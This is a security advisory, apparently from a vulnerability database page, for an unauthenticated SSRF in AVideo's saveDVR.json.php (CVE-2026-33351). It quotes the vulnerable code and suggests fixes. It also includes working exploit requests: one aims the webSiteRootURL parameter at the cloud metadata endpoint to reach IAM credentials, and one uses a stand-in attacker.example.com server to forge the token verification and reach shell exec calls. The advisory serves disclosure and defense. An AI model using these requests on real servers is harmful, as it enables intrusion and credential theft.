GHSA-5f7v-4f6g-74rj CVE-2026-33351
AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass
- Severity
- 9.1 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.44%
- Chance of exploitation in the next 30 days. Higher than 38.16% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-918 Server-Side Request Forgery (SSRF)
- Fix
- None yet
- No fixed version published
Description
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed.
Affected Component
File: plugin/Live/standAloneFiles/saveDVR.json.php, lines 5-28
$streamerURL = ""; // change it to your streamer URL
$configFile = '../../../videos/configuration.php';
if (file_exists($configFile)) {
include_once $configFile;
$streamerURL = $global['webSiteRootURL'];
}
if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
$streamerURL = $_REQUEST['webSiteRootURL']; // ATTACKER-CONTROLLED
}
// ...
$verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}";
$result = file_get_contents($verifyURL); // SSRF
Root Cause
- User-controlled URL base: When the configuration file does not exist (standalone deployment),
$streamerURLis set directly from$_REQUEST['webSiteRootURL']with no validation. - No URL allowlisting or scheme restriction: The value is used as-is in a
file_get_contents()call. There is no check forhttp/httpsscheme only, no private IP blocking, and no domain allowlist. - Verification bypass by design: The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.
Exploitation
Part 1: Basic SSRF (Internal Network Access)
POST /plugin/Live/standAloneFiles/saveDVR.json.php
Content-Type: application/x-www-form-urlencoded
webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything
The server fetches:
http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything
While the appended path may cause a 404 on the metadata service, the attacker can also use this for:
- Internal port scanning:
webSiteRootURL=http://192.168.1.X:PORT/— differentiate open/closed ports by response time and error messages. - Internal service access:
webSiteRootURL=http://internal-service/— reach services behind the firewall. - Cloud metadata access: With URL path manipulation or by hosting a redirect on the attacker server.
Part 2: Verification Bypass + Downstream Command Execution Chain
This is the more severe attack chain:
-
The attacker sets up a server at
https://attacker.example.com/with the path:/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.phpThat returns:
{"error": false, "response": {"key": "attacker_controlled_value"}} -
The attacker sends:
POST /plugin/Live/standAloneFiles/saveDVR.json.php webSiteRootURL=https://attacker.example.com/&saveDVR=anything -
The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.
-
The
keyvalue from the response flows into shell commands:- Line 55:
$DVRFile = "{$hls_path}{$key}";— used inexec()at line 80 (thoughescapeshellarg()is applied to the path components) - Line 72:
$DVRFileTarget = "{$tmpDVRDir}" . DIRECTORY_SEPARATOR . "{$key}.m3u8";— used withoutescapeshellarg()in:- Line 119:
exec("echo \"{$endLine}\" >> {$DVRFileTarget}"); - Line 157:
exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y"); - Line 167:
exec("rm -R {$tmpDVRDir}");
- Line 119:
The
$keyis sanitized at line 47 withpreg_replace("/[^0-9a-z_:-]/i", "", $key), which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:- The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.
- The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.
- The colon character (
:) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.
- Line 55:
Impact
- SSRF: The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.
- Authentication Bypass: The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.
- Potential Command Execution: While the regex on
$keylimits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment. - Information Disclosure: Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.
Suggested Fix
-
Remove the user-controlled
webSiteRootURLfallback entirely. Require$streamerURLto be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:// Remove this block: // if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { // $streamerURL = $_REQUEST['webSiteRootURL']; // } // If $streamerURL is still empty, abort: if (empty($streamerURL)) { error_log("saveDVR: streamerURL is not configured"); die('saveDVR: Server not configured'); } -
If the parameter must remain for backward compatibility, validate it:
if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { $url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL); if ($url && preg_match('/^https?:\/\//i', $url)) { // Resolve hostname and block private/reserved IPs $host = parse_url($url, PHP_URL_HOST); $ip = gethostbyname($host); if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('saveDVR: Invalid URL'); } $streamerURL = $url; } } -
Apply
escapeshellarg()to all variables used inexec()calls, including$DVRFileTargetat lines 119, 157, and$tmpDVRDirat line 167.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| wwbn/avideo | <= 26.0 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 9.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-918: Server-Side Request Forgery (SSRF)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7cqp-7cfv-6c3q AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel | Medium | Also affects wwbn/avideo |
| GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink | High | Also affects wwbn/avideo |
| GHSA-95jh-7r58-xmxw AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data | Medium | Also affects wwbn/avideo |
| GHSA-wf69-r4mx-43rr AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration | High | Also affects wwbn/avideo |
| GHSA-8j8m-p79x-g4jm AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions | Medium | Also affects wwbn/avideo |
| GHSA-8whc-2wmv-ww35 WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin | Critical | Also affects WWBN/AVideo |
| GHSA-66q5-cj5g-wrfx WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section | Medium | Also affects WWBN/AVideo |
| GHSA-hgjh-6wj8-gcgf WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination | Medium | Also affects WWBN/AVideo |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor